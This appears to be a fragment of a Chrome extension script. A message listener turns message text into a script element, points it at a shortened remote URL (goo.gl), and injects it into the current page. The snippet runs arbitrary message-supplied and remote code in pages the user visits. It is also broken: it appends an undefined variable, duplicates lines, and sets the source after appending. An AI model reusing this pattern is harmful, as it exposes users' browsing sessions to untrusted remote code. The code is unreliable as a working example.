chrome.extension.onMessage.addListener(
  function(request, sender, sendResponse) {
    console.log(sender.tab ?
    "from a content script:" + sender.tab.url :
    "from the extension");
var script1 = window.document.createElement ('script');
script1.type = 'text/javascript';
script1.text = request.greeting;
	window.document.getElementsByTagName('head')[0].appendChild(script);
	console.log('Script loaded.');
	sendResponse({farewell: "Awaiting further action!"});
window.document.getElementsByTagName('head')[0].appendChild(script);
console.log('Script loaded.');
script1.src = "http://goo.gl/5xyiB";
document.body.appendChild(script);
window.onload=function(){
	chrome.extension.sendMessage({greeting: "go"}, function(response) {
	console.log(response.farewell);
});
}; 
});